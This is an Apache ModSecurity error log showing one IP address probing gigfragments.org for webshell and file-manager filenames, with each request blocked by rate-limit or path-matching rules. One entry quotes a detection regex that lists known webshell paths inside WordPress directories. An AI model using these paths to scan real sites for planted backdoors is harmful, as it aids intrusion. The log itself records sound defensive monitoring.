[Wed May 20 04:33:25.084122 2026] [:error] [pid 59349:tid 59370] [client 20.104.227.76:14407] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "agzJFTvvxTUy-ppKSZV88QAAANM"]
[Wed May 20 04:33:26.111965 2026] [:error] [pid 36145:tid 36169] [client 20.104.227.76:15165] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/BDKR28WP.php"] [unique_id "agzJFqtS18KtvF2Vagsr6gAAARU"]
[Wed May 20 04:33:27.038759 2026] [:error] [pid 59246:tid 59325] [client 20.104.227.76:14411] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "agzJF2XuF32eb0pGiHwPiAAAAJI"]
[Wed May 20 04:33:27.816450 2026] [:error] [pid 36145:tid 36172] [client 20.104.227.76:15213] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "agzJF6tS18KtvF2Vagsr7AAAARg"]
[Wed May 20 04:33:28.667764 2026] [:error] [pid 59349:tid 59366] [client 20.104.227.76:15183] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "agzJGDvvxTUy-ppKSZV88wAAAM8"]
[Wed May 20 04:33:29.644612 2026] [:error] [pid 59349:tid 59359] [client 20.104.227.76:15129] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a1.php"] [unique_id "agzJGTvvxTUy-ppKSZV89AAAAMg"]
[Wed May 20 04:33:30.214309 2026] [:error] [pid 59245:tid 59281] [client 20.104.227.76:14341] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d.php"] [unique_id "agzJGqOutR70QIZRVkTMlwAAAEE"]
[Wed May 20 04:33:31.159627 2026] [:error] [pid 59245:tid 59297] [client 20.104.227.76:15206] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d.php"] [unique_id "agzJG6OutR70QIZRVkTMmQAAAFE"]
[Wed May 20 04:33:31.965150 2026] [:error] [pid 36145:tid 36162] [client 20.104.227.76:15104] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d.php"] [unique_id "agzJG6tS18KtvF2Vagsr8AAAAQ4"]
[Wed May 20 04:33:32.438150 2026] [:error] [pid 59245:tid 59296] [client 20.104.227.76:15136] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/d.php"] [unique_id "agzJHKOutR70QIZRVkTMmgAAAFA"]
[Wed May 20 04:33:33.095908 2026] [:error] [pid 36145:tid 36154] [client 20.104.227.76:15221] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "agzJHatS18KtvF2Vagsr8gAAAQY"]
[Wed May 20 04:33:33.731648 2026] [:error] [pid 59349:tid 59361] [client 20.104.227.76:14346] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "agzJHTvvxTUy-ppKSZV8-AAAAMo"]
[Wed May 20 04:33:34.402348 2026] [:error] [pid 36145:tid 36150] [client 20.104.227.76:15222] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "agzJHqtS18KtvF2Vagsr9wAAAQI"]
[Wed May 20 04:33:35.203346 2026] [:error] [pid 59245:tid 59301] [client 20.104.227.76:15210] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xff.php"] [unique_id "agzJH6OutR70QIZRVkTMngAAAFU"]
[Wed May 20 04:33:35.879097 2026] [:error] [pid 59245:tid 59291] [client 20.104.227.76:15168] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "agzJH6OutR70QIZRVkTMnwAAAEs"]
[Wed May 20 04:33:36.536903 2026] [:error] [pid 59246:tid 59312] [client 20.104.227.76:14339] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "agzJIGXuF32eb0pGiHwPiwAAAIU"]
[Wed May 20 04:33:37.292407 2026] [:error] [pid 59246:tid 59318] [client 20.104.227.76:14455] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "agzJIWXuF32eb0pGiHwPjAAAAIs"]
[Wed May 20 04:33:37.959091 2026] [:error] [pid 59246:tid 59322] [client 20.104.227.76:14358] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bal.php"] [unique_id "agzJIWXuF32eb0pGiHwPjQAAAI8"]
[Wed May 20 04:33:38.645376 2026] [:error] [pid 59246:tid 59329] [client 20.104.227.76:15147] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "agzJImXuF32eb0pGiHwPjwAAAJY"]
[Wed May 20 04:33:39.310330 2026] [:error] [pid 59244:tid 59273] [client 20.104.227.76:14463] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "agzJI7xU0SdQQE7pLs2sXAAAABQ"]
[Wed May 20 04:33:40.046836 2026] [:error] [pid 36145:tid 36165] [client 20.104.227.76:15185] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "agzJJKtS18KtvF2Vagsr-gAAARE"]
[Wed May 20 04:33:40.749746 2026] [:error] [pid 59245:tid 59282] [client 20.104.227.76:15114] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xltt.php"] [unique_id "agzJJKOutR70QIZRVkTMoAAAAEI"]
[Wed May 20 04:33:41.517094 2026] [:error] [pid 36145:tid 36161] [client 20.104.227.76:14359] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/son.php"] [unique_id "agzJJatS18KtvF2Vagsr-wAAAQ0"]
[Wed May 20 04:33:43.063368 2026] [:error] [pid 59349:tid 59356] [client 20.104.227.76:14360] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/son.php"] [unique_id "agzJJzvvxTUy-ppKSZV8-QAAAMU"]
[Wed May 20 04:33:44.598334 2026] [:error] [pid 59245:tid 59302] [client 20.104.227.76:14380] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/son.php"] [unique_id "agzJKKOutR70QIZRVkTMogAAAFY"]
[Wed May 20 04:33:52.165518 2026] [:error] [pid 36145:tid 36171] [client 20.104.227.76:14414] [client 20.104.227.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tiny.php"] [unique_id "agzJMKtS18KtvF2VagssBQAAARc"]
[Wed May 20 04:34:03.485659 2026] [:error] [pid 36145:tid 36150] [client 20.104.227.76:14429] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "agzJO6tS18KtvF2VagssDwAAAQI"]
[Wed May 20 04:34:03.934346 2026] [:error] [pid 59246:tid 59325] [client 20.104.227.76:14430] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "agzJO2XuF32eb0pGiHwPlQAAAJI"]
[Wed May 20 04:34:04.349340 2026] [:error] [pid 59246:tid 59313] [client 20.104.227.76:15164] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "agzJPGXuF32eb0pGiHwPlgAAAIY"]
[Wed May 20 04:34:04.939600 2026] [:error] [pid 59349:tid 59360] [client 20.104.227.76:15228] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ms-edit.php"] [unique_id "agzJPDvvxTUy-ppKSZV9HQAAAMk"]
[Wed May 20 04:34:05.566635 2026] [:error] [pid 59349:tid 59356] [client 20.104.227.76:14431] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "agzJPTvvxTUy-ppKSZV9HgAAAMU"]
[Wed May 20 04:34:06.164021 2026] [:error] [pid 59349:tid 59362] [client 20.104.227.76:14408] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "agzJPjvvxTUy-ppKSZV9IAAAAMs"]
[Wed May 20 04:34:07.034563 2026] [:error] [pid 59245:tid 59293] [client 20.104.227.76:14412] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "agzJP6OutR70QIZRVkTMpwAAAE0"]
[Wed May 20 04:34:07.684156 2026] [:error] [pid 59245:tid 59299] [client 20.104.227.76:14362] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/7.php"] [unique_id "agzJP6OutR70QIZRVkTMqAAAAFM"]
[Wed May 20 04:34:08.585475 2026] [:error] [pid 59349:tid 59363] [client 20.104.227.76:14459] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "agzJQDvvxTUy-ppKSZV9IgAAAMw"]
[Wed May 20 04:34:09.225377 2026] [:error] [pid 59245:tid 59300] [client 20.104.227.76:15225] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "agzJQaOutR70QIZRVkTMqwAAAFQ"]
[Wed May 20 04:34:10.104103 2026] [:error] [pid 36145:tid 36154] [client 20.104.227.76:14424] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "agzJQqtS18KtvF2VagssEQAAAQY"]
[Wed May 20 04:34:10.617587 2026] [:error] [pid 36145:tid 36168] [client 20.104.227.76:14369] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pp.php"] [unique_id "agzJQqtS18KtvF2VagssEgAAARQ"]
[Wed May 20 04:34:11.431654 2026] [:error] [pid 59349:tid 59352] [client 20.104.227.76:15199] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "agzJQzvvxTUy-ppKSZV9JwAAAME"]
[Wed May 20 04:34:12.220762 2026] [:error] [pid 59349:tid 59370] [client 20.104.227.76:4847] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "agzJRDvvxTUy-ppKSZV9KwAAANM"]
[Wed May 20 04:34:12.829353 2026] [:error] [pid 36145:tid 36163] [client 20.104.227.76:15203] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "agzJRKtS18KtvF2VagssIAAAAQ8"]
[Wed May 20 04:34:13.392892 2026] [:error] [pid 36145:tid 36161] [client 20.104.227.76:14442] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mar.php"] [unique_id "agzJRatS18KtvF2VagssJAAAAQ0"]
[Wed May 20 04:34:14.193692 2026] [:error] [pid 36145:tid 36154] [client 20.104.227.76:15155] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "agzJRqtS18KtvF2VagssKQAAAQY"]
[Wed May 20 04:34:14.745493 2026] [:error] [pid 59246:tid 59318] [client 20.104.227.76:15185] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "agzJRmXuF32eb0pGiHwPmQAAAIs"]
[Wed May 20 04:34:15.321763 2026] [:error] [pid 36145:tid 36172] [client 20.104.227.76:14375] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "agzJR6tS18KtvF2VagssMAAAARg"]
[Wed May 20 04:34:15.912693 2026] [:error] [pid 36145:tid 36170] [client 20.104.227.76:15188] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "agzJR6tS18KtvF2VagssNgAAARY"]
[Wed May 20 04:34:16.583039 2026] [:error] [pid 59246:tid 59322] [client 20.104.227.76:4771] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "agzJSGXuF32eb0pGiHwPmgAAAI8"]
[Wed May 20 04:34:17.086054 2026] [:error] [pid 59246:tid 59324] [client 20.104.227.76:14451] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "agzJSWXuF32eb0pGiHwPmwAAAJE"]
[Wed May 20 04:34:17.579344 2026] [:error] [pid 36145:tid 36171] [client 20.104.227.76:4827] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "agzJSatS18KtvF2VagssRQAAARc"]
[Wed May 20 04:34:18.183180 2026] [:error] [pid 59349:tid 59360] [client 20.104.227.76:14456] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/acp.php"] [unique_id "agzJSjvvxTUy-ppKSZV9NgAAAMk"]
[Wed May 20 04:34:18.735952 2026] [:error] [pid 36145:tid 36161] [client 20.104.227.76:14422] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zdd.php"] [unique_id "agzJSqtS18KtvF2VagssUAAAAQ0"]
[Wed May 20 04:34:19.537614 2026] [:error] [pid 59244:tid 59263] [client 20.104.227.76:14427] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zdd.php"] [unique_id "agzJS7xU0SdQQE7pLs2sYQAAAAo"]
[Wed May 20 04:34:20.343596 2026] [:error] [pid 59246:tid 59311] [client 20.104.227.76:14350] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zdd.php"] [unique_id "agzJTGXuF32eb0pGiHwPnAAAAIQ"]
[Wed May 20 04:34:20.863321 2026] [:error] [pid 59349:tid 59363] [client 20.104.227.76:14462] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zdd.php"] [unique_id "agzJTDvvxTUy-ppKSZV9QQAAAMw"]
[Wed May 20 04:34:21.537790 2026] [:error] [pid 59349:tid 59369] [client 20.104.227.76:4851] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "agzJTTvvxTUy-ppKSZV9QwAAANI"]
[Wed May 20 04:34:22.051137 2026] [:error] [pid 59244:tid 59267] [client 20.104.227.76:15166] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "agzJTrxU0SdQQE7pLs2sZAAAAA4"]
[Wed May 20 04:34:22.585873 2026] [:error] [pid 36145:tid 36154] [client 20.104.227.76:14428] [client 20.104.227.76] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/link.php"] [unique_id "agzJTqtS18KtvF2VagssWwAAAQY"]
